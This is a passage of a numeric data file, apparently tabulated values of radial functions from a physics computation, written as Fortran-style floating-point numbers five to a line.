0.7256873387949169E+01  0.7149444909733861E+01\n  0.7042479215386244E+01  0.6935994787073786E+01  0.6830009616114025E+01  0.6724541203818547E+01  0.6619606562640385E+01\n  0.6515222217614777E+01  0.6411404208083596E+01  0.6308168089693712E+01  0.6205528936659299E+01  0.6103501344278738E+01\n  0.6002099431696649E+01  0.5901336844901273E+01  0.5801226759948285E+01  0.5701781886401747E+01  0.5603014470983003E+01\n  0.5504936301418622E+01  0.5407558710478755E+01  0.5310892580196972E+01  0.5214948346263076E+01  0.5119736002580636E+01\n  0.5025265105980838E+01  0.4931544781084478E+01  0.4838583725304196E+01  0.4746390213979240E+01  0.4654972105634751E+01\n  0.4564336847358377E+01  0.4474491480286574E+01  0.4385442645193613E+01  0.4297196588176073E+01  0.4209759166425876E+01\n  0.4123135854085263E+01  0.4037331748177098E+01  0.3952351574603862E+01  0.3868199694209329E+01  0.3784880108896700E+01\n  0.3702396467797228E+01  0.3620752073483427E+01  0.3539949888221543E+01  0.3459992540257458E+01  0.3380882330130837E+01\n  0.3302621237012444E+01  0.3225210925059441E+01  0.3148652749783842E+01  0.3072947764429528E+01  0.2998096726353141E+01\n  0.2924100103404396E+01  0.2850958080301697E+01  0.2778670564998860E+01  0.2707237195038878E+01  0.2636657343891009E+01\n  0.2566930127267545E+01  0.2498054409416378E+01  0.2430028809386447E+01  0.2362851707262292E+01  0.2296521250364838E+01\n  0.2231035359415401E+01  0.2166391734659781E+01  0.2102587861949918E+01  0.2039621018780374E+01  0.1977488280277051E+01\n  0.1916186525135823E+01  0.1855712441508784E+01  0.1796062532835888E+01  0.1737233123619909E+01  0.1679220365142876E+01\n  0.1622020241122005E+01  0.1565628573303434E+01  0.1510041026992134E+01  0.1455253116516494E+01  0.1401260210626005E+01\n  0.1348057537820834E+01  0.1295640191612015E+01  0.1244003135710985E+01  0.1193141209147503E+01  0.1143049131314995E+01\n  0.1093721506942225E+01  0.1045152830990733E+01  0.9973374934770503E+00  0.9502697842192204E+00  0.9039438975069450E+00\n  0.8583539366947573E+00  0.8134939187180027E+00  0.7693577785309419E+00  0.7259393734669808E+00  0.6832324875204686E+00\n  0.6412308355501580E+00  0.5999280674039510E+00  0.5593177719650326E+00  0.5193934811192902E+00  0.4801486736441256E+00\n  0.4415767790185855E+00  0.4036711811552292E+00  0.3664252220536028E+00  0.3298322053757856E+00  0.2938853999441776E+00\n  0.2585780431619257E+00  0.2239033443561915E+00  0.1898544880448611E+00  0.1564246371270075E+00  0.1236069359975595E+00\n  0.9139451358676925E-01  0.5978048632501255E-01  0.2875796103333898E-01 -0.1679962259405253E-02 -0.3154018757241899E-01\n -0.6082962030108538E-01 -0.8955516461660286E-01 -0.1177237209366101E+00 -0.1453421834658722E+00 -0.1724174378064842E+00\n -0.1989563586366328E+00 -0.2249658074573321E+00 -0.2504526304061375E+00 -0.2754236561371938E+00 -0.2998856937666934E+00\n -0.3238455308829152E+00 -0.3473099316199632E+00 -0.3702856347944674E+00 -0.3927793521041590E+00 -0.4147977663876007E+00\n -0.4363475299441409E+00 -0.4574352629131093E+00 -0.4780675517114195E+00 -0.4982509475286878E+00 -0.5179919648788196E+00\n -0.5372970802072690E+00 -0.5561727305530091E+00 -0.5746253122642059E+00 -0.5926611797667505E+00 -0.6102866443846747E+00\n -0.6275079732115432E+00 -0.6443313880318098E+00 -0.6607630642913176E+00 -0.6768091301158876E+00 -0.6924756653771867E+00\n -0.7077687008048035E+00 -0.7226942171437692E+00 -0.7372581443564278E+00 -0.7514663608678986E+00 -0.7653246928540729E+00\n -0.7788389135713435E+00 -0.7920147427271221E+00 -0.8048578458902081E+00 -0.8173738339401606E+00 -0.8295682625548225E+00\n -0.8414466317350016E+00 -0.8530143853655495E+00 -0.8642769108119376E+00 -0.8752395385514281E+00 -0.8859075418380596E+00\n -0.8962861364005478E+00 -0.9063804801723496E+00 -0.9161956730529236E+00 -0.9257367566995721E+00 -0.9350087143488421E+00\n -0.9440164706668895E+00 -0.9527648916278635E+00 -0.9612587844196464E+00 -0.9695028973760704E+00 -0.9775019199350281E+00\n -0.9852604826214921E+00 -0.9927831570549439E+00 -0.1000074455980330E+01 -0.1007138833321882E+01 -0.1013980684259106E+01\n -0.1020604345324242E+01 -0.1027014094520476E+01 -0.1033214151460282E+01 -0.1039208677523227E+01 -0.1045001776032526E+01\n -0.1050597492449770E+01 -0.1055999814587213E+01 -0.1061212672836912E+01 -0.1066239940416186E+01 -0.1071085433628814E+01\n -0.1075752912141292E+01 -0.1080246079273645E+01 -0.1084568582304249E+01 -0.1088724012788046E+01 -0.1092715906887623E+01\n -0.1096547745716693E+01 -0.1100222955695317E+01 -0.1103744908916555E+01 -0.1107116923523791E+01 -0.1110342264098502E+01\n -0.1113424142057791E+01 -0.1116365716061343E+01 -0.1119170092427236E+01 -0.1121840325556284E+01 -0.1124379418364351E+01\n -0.1126790322722266E+01 -0.1129075939902947E+01 -0.1131239121035218E+01 -0.1133282667564084E+01 -0.1135209331716900E+01\n -0.1137021816975156E+01 -0.1138722778551496E+01 -0.1140314823871568E+01 -0.1141800513060382E+01 -0.1143182359432848E+01\n -0.1144462829988106E+01 -0.1145644345907359E+01 -0.1146729283054887E+01 -0.1147719972481915E+01 -0.1148618700933064E+01\n -0.1149427711355036E+01 -0.1150149203407336E+01 -0.1150785333974662E+01 -0.1151338217680745E+01 -0.1151809927403365E+01\n -0.1152202494790314E+01 -0.1152517910775978E+01 -0.1152758126098446E+01 -0.1152925051816752E+01 -0.1153020559828135E+01\n -0.1153046483385062E+01 -0.1153004617611814E+01 -0.1152896720020397E+01 -0.1152724511025663E+01 -0.1152489674459358E+01\n -0.1152193858082955E+01 -0.1151838674099132E+01 -0.1151425699661622E+01 -0.1150956477383416E+01 -0.1150432515843014E+01\n -0.1149855290088658E+01 -0.1149226242140391E+01 -0.1148546781489776E+01 -0.1147818285597133E+01 -0.1147042100386233E+01\n -0.1146219540736222E+01 -0.1145351890970717E+01 -0.1144440405343972E+01 -0.1143486308523956E+01 -0.1142490796072246E+01\n -0.1141455034920708E+01 -0.1140380163844745E+01 -0.1139267293933129E+01 -0.1138117509054281E+01 -0.1136931866318917E+01\n -0.1135711396538980E+01 -0.1134457104682830E+01 -0.1133169970326549E+01 -0.1131850948101341E+01 -0.1130500968136960E+01\n -0.1129120936501098E+01 -0.1127711735634675E+01 -0.1126274224782987E+01 -0.1124809240422688E+01 -0.1123317596684496E+01\n -0.1121800085771649E+01 -0.1120257478374031E+01 -0.1118690524077965E+01 -0.1117099951771584E+01 -0.1115486470045851E+01\n -0.1113850767591084E+01 -0.1112193513589038E+01 -0.1110515358100515E+01 -0.1108816932448459E+01 -0.1107098849596516E+01\n -0.1105361704523115E+01 -0.1103606074590946E+01 -0.1101832519911928E+01 -0.1100041583707593E+01 -0.1098233792664933E+01\n -0.1096409657287642E+01 -0.1094569672242852E+01 -0.1092714316703250E+01 -0.1090844054684662E+01 -0.1088959335379075E+01\n -0.1087060593483124E+01 -0.1085148249522008E+01 -0.1083222710168924E+01 -0.1081284368559944E+01 -0.1079333604604411E+01\n -0.1077370785290845E+01 -0.1075396264988352E+01 -0.1073410385743633E+01 -0.1071413477573506E+01 -0.1069405858753038E+01\n -0.1067387836099281E+01 -0.1065359705250640E+01 -0.1063321750941883E+01 -0.1061274247274852E+01 -0.1059217457984850E+01\n -0.1057151636702792E+01 -0.1055077027213080E+01 -0.1052993863707296E+01 -0.1050902371033679E+01 -0.1048802764942500E+01\n -0.1046695252327259E+01 -0.1044580031461829E+01 -0.1042457292233526E+01 -0.1040327216372171E+01 -0.1038189977675128E+01\n -0.1036045742228431E+01 -0.1033894668623957E+01 -0.1031736908172717E+01 -0.1029572605114311E+01 -0.1027401896822551E+01\n -0.1025224914007316E+01 -0.1023041780912662E+01 -0.1020852615511239E+01 -0.1018657529695029E+01 -0.1016456629462466E+01\n -0.1014250015101953E+01 -0.1012037781371852E+01 -0.1009820017676932E+01 -0.1007596808241376E+01 -0.1005368232278329E+01\n -0.1003134364156065E+01 -0.1000895273560783E+01 -0.9986510256561214E+00 -0.9964016812393415E+00 -0.9941472968943378E+00\n -0.9918879251414070E+00 -0.9896236145838693E+00 -0.9873544100515853E+00 -0.9850803527413915E+00 -0.9828014803544729E+00\n -0.9805178272307916E+00 -0.9782294244804987E+00 -0.9759363001124680E+00 -0.9736384791599416E+00 -0.9713359838033104E+00\n -0.9690288334901421E+00 -0.9667170450524106E+00 -0.9644006328210118E+00 -0.9620796087376083E+00 -0.9597539824638249E+00\n -0.9574237614878179E+00 -0.9550889512283189E+00 -0.9527495551361136E+00 -0.9504055747930490E+00 -0.9480570100085778E+00\n -0.9457038589139001E+00 -0.9433461180537021E+00 -0.9409837824755957E+00 -0.9386168458172143E+00 -0.9362453003910622E+00\n -0.9338691372671331E+00 -0.9314883463533257E+00 -0.9291029164737088E+00 -0.9267128354446561E+00 -0.9243180901489110E+00\n -0.9219186666075736E+00 -0.9195145500500918E+00 -0.9171057249822572E+00 -0.9146921752522568E+00 -0.9122738841148049E+00\n -0.9098508342934115E+00 -0.9074230080407725E+00 -0.9049903871973761E+00 -0.9025529532482975E+00 -0.9001106873782734E+00\n -0.8976635705250287E+00 -0.8952115834309455E+00 -0.8927547066930527E+00 -0.8902929208114043E+00 -0.8878262062358644E+00\n -0.8853545434113288E+00 -0.8828779128213984E+00 -0.8803962950305826E+00 -0.8779096707249944E+00 -0.8754180207516187E+00\n -0.8729213261561652E+00 -0.8704195682195257E+00 -0.8679127284928716E+00 -0.8654007888314326E+00 -0.8628837314269541E+00\n -0.8603615388388851E+00 -0.8578341940243193E+00 -0.8553016803666958E+00 -0.8527639817033201E+00 -0.8502210823517030E+00\n -0.8476729671347476E+00 -0.8451196214048268E+00 -0.8425610310667432E+00 -0.8399971825996356E+00 -0.8374280630778245E+00\n -0.8348536601906327E+00 -0.8322739622612096E+00 -0.8296889582643635E+00 -0.8270986378434532E+00 -0.8245029913263251E+00\n -0.8219020097403632E+00 -0.8192956848266297E+00 -0.8166840090531358E+00 -0.8140669756272810E+00 -0.8114445785074459E+00\n -0.8088168124137882E+00 -0.8061836728382580E+00 -0.8035451560538301E+00 -0.8009012591230101E+00 -0.7982519799055862E+00\n -0.7955973170657049E+00 -0.7929372700782288E+00 -0.7902718392344300E+00 -0.7876010256470514E+00 -0.7849248312546936E+00\n -0.7822432588256222E+00 -0.7795563119609465E+00 -0.7768639950972300E+00 -0.7741663135085275E+00 -0.7714632733078751E+00\n -0.7687548814482437E+00 -0.7660411457229735E+00 -0.7633220747657076E+00 -0.7605976780498430E+00 -0.7578679658874885E+00\n -0.7551329494280029E+00 -0.7523926406560499E+00 -0.7496470523892526E+00 -0.7468961982754271E+00 -0.7441400927894049E+00\n -0.7413787512294852E+00 -0.7386121897135014E+00 -0.7358404251745365E+00 -0.7330634753562915E+00 -0.7302813588081042E+00\n -0.7274940948796763E+00 -0.7247017037154513E+00 -0.7219042062487405E+00 -0.7191016241955283E+00 -0.7162939800480140E+00\n -0.7134812970679073E+00 -0.7106635992794407E+00 -0.7078409114621805E+00 -0.7050132591435788E+00 -0.7021806685913191E+00\n -0.6993431668054603E+00 -0.6965007815103690E+00 -0.6936535411464760E+00 -0.6908014748618515E+00 -0.6879446125036175E+00\n -0.6850829846091927E+00 -0.6822166223973989E+00 -0.6793455577594238E+00 -0.6764698232496565E+00 -0.6735894520763950E+00\n -0.6707044780924551E+00 -0.6678149357856630E+00 -0.6649208602692607E+00 -0.6620222872722230E+00 -0.6591192531294906E+00\n -0.6562117947721472E+00 -0.6532999497175199E+00 -0.6503837560592365E+00 -0.6474632524572266E+00 -0.6445384781276909E+00\n -0.6416094728330407E+00 -0.6386762768718036E+00 -0.6357389310685252E+00 -0.6327974767636543E+00 -0.6298519558034233E+00\n -0.6269024105297427E+00 -0.6239488837700962E+00 -0.6209914188274636E+00 -0.6180300594702640E+00 -0.6150648499223307E+00\n -0.6120958348529247E+00 -0.6091230593667976E+00 -0.6061465689942978E+00 -0.6031664096815428E+00 -0.6001826277806448E+00\n -0.5971952700400222E+00 -0.5942043835947710E+00 -0.5912100159571299E+00 -0.5882122150070307E+00 -0.5852110289827398E+00\n -0.5822065064716095E+00 -0.5791986964009260E+00 -0.5761876480288783E+00 -0.5731734109356420E+00 -0.5701560350145878E+00\n -0.5671355704636246E+00 -0.5641120677766707E+00 -0.5610855777352810E+00 -0.5580561514004118E+00 -0.5550238401043444E+00\n -0.5519886954427705E+00 -0.5489507692670410E+00 -0.5459101136765916E+00 -0.5428667810115466E+00 -0.5398208238455037E+00\n -0.5367722949785179E+00 -0.5337212474302724E+00 -0.5306677344334658E+00 -0.5276118094273992E+00 -0.5245535260517865E+00\n -0.5214929381407842E+00 -0.5184300997172553E+00 -0.5153650649872665E+00 -0.5122978883348268E+00 -0.5092286243168869E+00\n -0.5061573276585855E+00 -0.5030840532487656E+00 -0.5000088561357634E+00 -0.4969317915234724E+00 -0.4938529147677048E+00\n -0.4907722813728380E+00 -0.4876899469887706E+00 -0.4846059674081886E+00 -0.4815203985641517E+00 -0.4784332965280080E+00\n -0.4753447175076490E+00 -0.4722547178461055E+00 -0.4691633540205086E+00 -0.4660706826414067E+00 -0.4629767604524667E+00\n -0.4598816443305548E+00 -0.4567853912862148E+00 -0.4536880584645588E+00 -0.4505897031465675E+00 -0.4474903827508280E+00\n -0.4443901548357052E+00 -0.4412890771019746E+00 -0.4381872073959169E+00 -0.4350846037128897E+00 -0.4319813242013982E+00\n -0.4288774271676646E+00 -0.4257729710807258E+00 -0.4226680145780600E+00 -0.4195626164717658E+00 -0.4164568357553127E+00\n -0.4133507316108669E+00 -0.4102443634172216E+00 -0.4071377907583458E+00 -0.4040310734325635E+00 -0.4009242714623935E+00\n -0.3978174451050561E+00 -0.3947106548636826E+00 -0.3916039614992301E+00 -0.3884974260431417E+00 -0.3853911098107584E+00\n -0.3822850744155176E+00 -0.3791793817839579E+00 -0.3760740941715547E+00 -0.3729692741794092E+00 -0.3698649847718308E+00\n -0.3667612892948207E+00 -0.3636582514955066E+00 -0.3605559355425407E+00 -0.3574544060475049E+00 -0.3543537280873476E+00\n -0.3512539672278892E+00 -0.3481551895484317E+00 -0.3450574616675028E+00 -0.3419608507697824E+00 -0.3388654246342396E+00\n -0.3357712516635236E+00 -0.3326784009146562E+00 -0.3295869421310594E+00 -0.3264969457759724E+00 -0.3234084830672975E+00\n -0.3203216260139267E+00 -0.3172364474535990E+00 -0.3141530210923392E+00 -0.3110714215455339E+00 -0.3079917243806994E+00\n -0.3049140061619978E+00 -0.3018383444965689E+00 -0.2987648180827280E+00 -0.2956935067601084E+00 -0.2926244915618033E+00\n -0.2895578547685831E+00 -0.2864936799652645E+00 -0.2834320520992921E+00 -0.2803730575416270E+00 -0.2773167841500085E+00\n -0.2742633213346799E+00 -0.2712127601266646E+00 -0.2681651932486745E+00 -0.2651207151887529E+00 -0.2620794222767396E+00\n -0.2590414127636577E+00 -0.2560067869041315E+00 -0.2529756470419290E+00 -0.2499480976987507E+00 -0.2469242456663659E+00\n -0.2439042001022238E+00 -0.2408880726286486E+00 -0.2378759774357503E+00 -0.2348680313881797E+00 -0.2318643541358485E+00\n -0.2288650682287657E+00 -0.2258702992361172E+00 -0.2228801758697354E+00 -0.2198948301121145E+00 -0.2169143973491063E+00\n -0.2139390165074705E+00 -0.2109688301974238E+00 -0.2080039848603569E+00 -0.2050446309218908E+00 -0.2020909229504274E+00\n -0.1991430198213881E+00 -0.1962010848872974E+00 -0.1932652861539021E+00 -0.1903357964625070E+00 -0.1874127936787024E+00\n -0.1844964608876812E+00 -0.1815869865963202E+00 -0.1786845649422172E+00 -0.1757893959098759E+00 -0.1729016855542115E+00\n -0.1700216462315742E+00 -0.1671494968384586E+00 -0.1642854630580883E+00 -0.1614297776150348E+00 -0.1585826805380398E+00\n -0.1557444194312012E+00 -0.1529152497536538E+00 -0.1500954351078926E+00 -0.1472852475368416E+00 -0.1444849678297712E+00\n -0.1416948858371486E+00 -0.1389153007944590E+00 -0.1361465216550372E+00 -0.1333888674318927E+00 -0.1306426675484822E+00\n -0.1279082621983536E+00 -0.1251860027135053E+00 -0.1224762519412908E+00 -0.1197793846295987E+00 -0.1170957878199916E+00\n -0.1144258612484021E+00 -0.1117700177528869E+00 -0.1091286836878541E+00 -0.1065022993440523E+00 -0.1038913193734918E+00\n -0.1012962132183315E+00 -0.9871746554259221E-01 -0.9615557666540349E-01 -0.9361106299427452E-01 -0.9108445745667579E-01\n -0.8857630992797585E-01 -0.8608718765349675E-01 -0.8361767566217436E-01 -0.8116837716895883E-01 -0.7873991396273913E-01\n -0.7633292677617219E-01 -0.7394807563333809E-01 -0.7158604017067217E-01 -0.6924751992606029E-01 -0.6693323459041152E-01\n -0.6464392421534722E-01 -0.6238034936994107E-01 -0.6014329123865809E-01 -0.5793355165176966E-01 -0.5575195303860343E-01\n -0.5359933829294623E-01 -0.5147657053882339E-01 -0.4938453278367397E-01 -0.4732412744463571E-01 -0.4529627573227194E-01\n -0.4330191687455879E-01 -0.4134200716236433E-01 -0.3941751879595017E-01 -0.3752943851022626E-01 -0.3567876595462575E-01\n -0.3386651180149903E-01 -0.3209369555493235E-01 -0.3036134302986153E-01 -0.2867048346931652E-01 -0.2702214626567594E-01\n -0.2541735724993743E-01 -0.2385713451135265E-01 -0.2234248370839688E-01 -0.2087439283106441E-01 -0.1945382637408551E-01\n -0.1808171888098112E-01 -0.1675896782019106E-01 -0.1548642575704695E-01 -0.1426489178948888E-01 -0.1309510222150092E-01\n -0.1197772045673314E-01 -0.1091332610623831E-01 -0.9902403319266216E-02 -0.8945328365362132E-02 -0.8042356520369600E-02\n -0.7193608339198911E-02 -0.6399055435312237E-02 -0.5658505931682774E-02 -0.4971589801402351E-02 -0.4337744378844948E-02\n -0.3756200394787513E-02 -0.3225968971126078E-02 -0.2745830102014657E-02 -0.2314323246553361E-02 -0.1929740760130854E-02\n -0.1590124991640147E-02 -0.1293269963677403E-02 -0.1036728620523732E-02 -0.8178266578560640E-03 -0.6336839173092652E-03\n -0.4812442114554411E-03 -0.3573142088885663E-03 -0.2586116204308245E-03 -0.1818223529741868E-03 -0.1236655132753167E-03\n -0.8096414791917507E-04 -0.5071843506793948E-04 -0.3017679859046307E-04 -0.1689928305171012E-04 -0.8806800438416483E-05\n -0.4209924174242123E-05 -0.1812186230608453E-05 -0.6856430207874943E-06 -0.2207762234777510E-06 -0.5789808120346374E-07\n -0.1162764438867681E-07 -0.1636092194626611E-08 -0.1411469196261160E-09 -0.6053864648970130E-11 -0.9102103938482552E-13\n -0.2557695550579744E-15 -0.3818161159862620E-19 -0.1608640056516381E-25 -0.2867908542943528E-38 -0.1639405452192707E-76\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.1490972894185426E+01  0.2898594369705328E+01  0.4226102647398204E+01  0.5476628578286624E+01\n  0.6653199649346901E+01  0.7758744314426550E+01  0.8796096630727330E+01  0.9768001136837229E+01  0.1067711788189623E+02\n  0.1152602750277483E+02  0.1231723624359168E+02  0.1305318081663842E+02  0.1373623301352756E+02  0.1436870398832137E+02\n  0.1495284814912227E+02  0.1549086661002188E+02  0.1598491017060163E+02  0.1643708180475745E+02  0.1684943865406904E+02\n  0.1722399353297733E+02  0.1756271596351480E+02  0.1786753276618034E+02  0.1814032824076472E+02  0.1838294397656276E+02\n  0.1859717833554092E+02  0.1878478565478038E+02  0.1894747521601122E+02  0.1908691003043678E+02  0.1920470548645839E+02\n  0.1930242790649218E+02  0.1938159305696006E+02  0.1944366465286470E+02  0.1949005289524725E+02  0.1952211307638757E+02\n  0.1954114428394226E+02  0.1954838823141548E+02  0.1954502823850324E+02  0.1953218838101044E+02  0.1951093282627426E+02\n  0.1948226536638306E+02  0.1944712915800228E+02  0.1940640667433629E+02  0.1936091987169615E+02  0.1931143057032402E+02\n  0.1925864104655939E+02  0.1920319483112569E+02  0.1914567770627270E+02  0.1908661889272693E+02  0.1902649241587448E+02\n  0.1896571863932183E+02  0.1890466595293786E+02  0.1884365260166379E+02  0.1878294864077429E+02  0.1872277800286541E+02\n  0.1866332066162236E+02  0.1860471487736171E+02  0.1854705950943718E+02  0.1849041638082738E+02  0.1843481268057272E+02\n  0.1838024339018270E+02  0.1832667372067947E+02  0.1827404154756324E+02  0.1822225983166999E+02  0.1817121901462569E+02\n  0.1812078937837576E+02  0.1807082335907063E+02  0.1802115780640943E+02  0.1797161618037463E+02  0.1792201067812283E+02\n  0.1787214428462332E+02  0.1782181274145043E+02  0.1777080642893208E+02  0.1771891215763021E+02  0.1766591486587512E+02\n  0.1761159922079143E+02  0.1755575112093501E+02  0.1749815909930632E+02  0.1743861562611338E+02  0.1737691831122648E+02\n  0.1731287100679569E+02  0.1724628481099027E+02  0.1717697897426687E+02  0.1710478170998087E+02  0.1702953091152244E+02\n  0.1695107477848783E+02  0.1686927235468663E+02  0.1678399398103932E+02  0.1669512166663813E+02  0.1660254938142798E+02\n  0.1650618327411663E+02  0.1640594181904419E+02  0.1630175589583457E+02  0.1619356880571659E+02  0.1608133622844232E+02\n  0.1596502612374653E+02  0.1584461858128563E+02  0.1572010562296940E+02  0.1559149096155470E+02  0.1545878971931102E+02\n  0.1532202811049239E+02  0.1518124309126241E+02  0.1503648198061937E+02  0.1488780205575875E+02  0.1473527012519185E+02\n  0.1457896208281294E+02  0.1441896244597594E+02  0.1425536388050388E+02  0.1408826671541400E+02  0.1391777844999757E+02\n  0.1374401325574798E+02  0.1356709147548415E+02  0.1338713912187045E+02  0.1320428737738750E+02  0.1301867209766444E+02\n  0.1283043331994052E+02  0.1263971477828357E+02  0.1244666342705594E+02  0.1225142897398476E+02  0.1205416342406364E+02\n  0.1185502063538666E+02  0.1165415588789458E+02  0.1145172546589620E+02  0.1124788625511554E+02  0.1104279535490879E+02\n  0.1083660970619294E+02  0.1062948573553064E+02  0.1042157901572463E+02  0.1021304394318828E+02  0.1000403343227721E+02\n  0.9794698626690922E+01  0.9585188627981971E+01  0.9375650241143855E+01  0.9166227737187679E+01  0.8957062632560726E+01\n  0.8748293485208164E+01  0.8540055707031815E+01  0.8332481392456542E+01  0.8125699162775922E+01  0.7919834025914198E+01\n  0.7715007251210231E+01  0.7511336258802102E+01  0.7308934523167021E+01  0.7107911490350968E+01  0.6908372508405361E+01\n  0.6710418770533413E+01  0.6514147270438017E+01  0.6319650769353934E+01  0.6127017774240882E+01  0.5936332526610492E+01\n  0.5747675001458052E+01  0.5561120915770464E+01  0.5376741746084129E+01  0.5194604754569927E+01  0.5014773023128366E+01\n  0.4837305494984530E+01  0.4662257023280675E+01  0.4489678426173787E+01  0.4319616547955467E+01  0.4152114325723103E+01\n  0.3987210861143229E+01  0.3824941496860732E+01  0.3665337897121076E+01  0.3508428132186630E+01  0.3354236766142388E+01\n  0.3202784947701370E+01  0.3054090503634531E+01  0.2908168034465503E+01  0.2765029012085665E+01  0.2624681878960210E+01\n  0.2487132148611466E+01  0.2352382507080828E+01  0.2220432915085888E+01  0.2091280710604522E+01  0.1964920711632258E+01\n  0.1841345318874233E+01  0.1720544618147173E+01  0.1602506482281042E+01  0.1487216672323735E+01  0.1374658937865809E+01\n  0.1264815116314972E+01  0.1157665230963353E+01  0.1053187587702279E+01  0.9513588702517990E+00  0.8521542337834218E+00\n  0.7555473968256491E+00  0.6615107313528323E+00  0.5700153509680036E+00  0.4810311971000716E+00  0.3945271231455855E+00\n  0.3104709764939235E+00  0.2288296783834506E+00  0.1495693015446019E+00  0.7265514559315535E-01 -0.1948189855172862E-02\n -0.7427673437111640E-01 -0.1443670782148313E+00 -0.2122563061647371E+00 -0.2779819336760306E+00 -0.3415818453668393E+00\n -0.4030942358252462E+00 -0.4625575527254874E+00 -0.5200104422372566E+00 -0.5754916967079484E+00 -0.6290402045940768E+00\n -0.6806949026143181E+00 -0.7304947300937417E+00 -0.7784785854658435E+00 -0.8246852848961586E+00 -0.8691535229891830E+00\n -0.9119218355379459E+00 -0.9530285642737767E+00 -0.9925118235722190E+00 -0.1030409469069388E+01 -0.1066759068142054E+01\n -0.1101597872203433E+01 -0.1134962790765932E+01 -0.1166890367221378E+01 -0.1197416756288568E+01 -0.1226577703077706E+01\n -0.1254408523721037E+01 -0.1280944087518682E+01 -0.1306218800548890E+01 -0.1330266590691901E+01 -0.1353120894016819E+01\n -0.1374814642481296E+01 -0.1395380252894130E+01 -0.1414849617091440E+01 -0.1433254093277628E+01 -0.1450624498482941E+01\n -0.1466991102090209E+01 -0.1482383620384031E+01 -0.1496831212076521E+01 -0.1510362474764622E+01 -0.1523005442274803E+01\n -0.1534787582851975E+01 -0.1545735798150416E+01 -0.1555876422985430E+01 -0.1565235225805577E+01 -0.1573837409846275E+01\n -0.1581707614926664E+01 -0.1588869919852685E+01 -0.1595347845390397E+01 -0.1601164357774630E+01 -0.1606341872719178E+01\n -0.1610902259895794E+01 -0.1614866847850344E+01 -0.1618256429325549E+01 -0.1621091266960840E+01 -0.1623391099340840E+01\n -0.1625175147365167E+01 -0.1626462120913114E+01 -0.1627270225777996E+01 -0.1627617170846768E+01 -0.1627520175501631E+01\n -0.1626995977221341E+01 -0.1626060839360731E+01 -0.1624730559088164E+01 -0.1623020475461238E+01 -0.1620945477622288E+01\n -0.1618520013095815E+01 -0.1615758096171077E+01 -0.1612673316353719E+01 -0.1609278846871282E+01 -0.1605587453218097E+01\n -0.1601611501725963E+01 -0.1597362968147642E+01 -0.1592853446240992E+01 -0.1588094156342277E+01 -0.1583095953917781E+01\n -0.1577869338083636E+01 -0.1572424460084281E+01 -0.1566771131720695E+01 -0.1560918833720039E+01 -0.1554876724038992E+01\n -0.1548653646093535E+01 -0.1542258136908566E+01 -0.1535698435181091E+01 -0.1528982489251385E+01 -0.1522117964976844E+01\n -0.1515112253503763E+01 -0.1507972478932725E+01 -0.1500705505873594E+01 -0.1493317946886631E+01 -0.1485816169806484E+01\n -0.1478206304946291E+01 -0.1470494252179348E+01 -0.1462685687896228E+01 -0.1454786071835450E+01 -0.1446800653786156E+01\n -0.1438734480161472E+01 -0.1430592400441542E+01 -0.1422379073485444E+01 -0.1414098973711402E+01 -0.1405756397145003E+01\n -0.1397355467335255E+01 -0.1388900141138563E+01 -0.1380394214370867E+01 -0.1371841327328378E+01 -0.1363244970177461E+01\n -0.1354608488214437E+01 -0.1345935086996126E+01 -0.1337227837342175E+01 -0.1328489680210275E+01 -0.1319723431445484E+01\n -0.1310931786405037E+01 -0.1302117324460026E+01 -0.1293282513375510E+01 -0.1284429713570631E+01 -0.1275561182260429E+01\n -0.1266679077481073E+01 -0.1257785462000340E+01 -0.1248882307115163E+01 -0.1239971496338172E+01 -0.1231054828975166E+01\n -0.1222134023595495E+01 -0.1213210721397372E+01 -0.1204286489470143E+01 -0.1195362823955608E+01 -0.1186441153110434E+01\n -0.1177522840271803E+01 -0.1168609186728368E+01 -0.1159701434498662E+01 -0.1150800769019061E+01 -0.1141908321743441E+01\n -0.1133025172656630E+01 -0.1124152352703810E+01 -0.1115290846137928E+01 -0.1106441592787264E+01 -0.1097605490245227E+01\n -0.1088783395984451E+01 -0.1079976129397275E+01 -0.1071184473764625E+01 -0.1062409178155359E+01 -0.1053650959258049E+01\n -0.1044910503147221E+01 -0.1036188466985990E+01 -0.1027485480667053E+01 -0.1018802148393944E+01 -0.1010139050204464E+01\n -0.1001496743438119E+01 -0.9928757641494527E+00 -0.9842766284690484E+00 -0.9756998339140143E+00 -0.9671458606496940E+00\n -0.9586151727043447E+00 -0.9501082191384856E+00 -0.9416254351705762E+00 -0.9331672432606939E+00 -0.9247340541538072E+00\n -0.9163262678842421E+00 -0.9079442747428956E+00 -0.8995884562087340E+00 -0.8912591858460664E+00 -0.8829568301690750E+00\n -0.8746817494750385E+00 -0.8664342986476723E+00 -0.8582148279319598E+00 -0.8500236836818522E+00 -0.8418612090821510E+00\n -0.8337277448458742E+00 -0.8256236298884094E+00 -0.8175492019796625E+00 -0.8095047983754566E+00 -0.8014907564293513E+00\n -0.7935074141860654E+00 -0.7855551109576326E+00 -0.7776341878834073E+00 -0.7697449884750045E+00 -0.7618878591472366E+00\n -0.7540631497360738E+00 -0.7462712140046344E+00 -0.7385124101381848E+00 -0.7307871012290940E+00 -0.7230956557526664E+00\n -0.7154384480347357E+00 -0.7078158587119011E+00 -0.7002282751852088E+00 -0.6926760920681024E+00 -0.6851597116293913E+00\n -0.6776795442319780E+00 -0.6702360087680368E+00 -0.6628295330912921E+00 -0.6554605544470310E+00 -0.6481295199004043E+00\n -0.6408368867635551E+00 -0.6335831230220497E+00 -0.6263687077610380E+00 -0.6191941315915128E+00 -0.6120598970769715E+00\n -0.6049665191607240E+00 -0.5979145255940220E+00 -0.5909044573650831E+00 -0.5839368691290320E+00 -0.5770123296386506E+00\n -0.5701314221757601E+00 -0.5632947449829158E+00 -0.5565029116949882E+00 -0.5497565517700718E+00 -0.5430563109189926E+00\n -0.5364028515325477E+00 -0.5297968531054059E+00 -0.5232390126554224E+00 -0.5167300451368810E+00 -0.5102706838459522E+00\n -0.5038616808163805E+00 -0.4975038072031411E+00 -0.4911978536514589E+00 -0.4849446306482554E+00 -0.4787449688526985E+00\n -0.4725997194020929E+00 -0.4665097541888966E+00 -0.4604759661041344E+00 -0.4544992692419215E+00 -0.4485805990591846E+00\n -0.4427209124840173E+00 -0.4369211879653461E+00 -0.4311824254558134E+00 -0.4255056463188713E+00 -0.4198918931501576E+00\n -0.4143422295021775E+00 -0.4088577395001772E+00 -0.4034395273358983E+00 -0.3980887166245596E+00 -0.3928064496090112E+00\n -0.3875938861934557E+00 -0.3824522027875051E+00 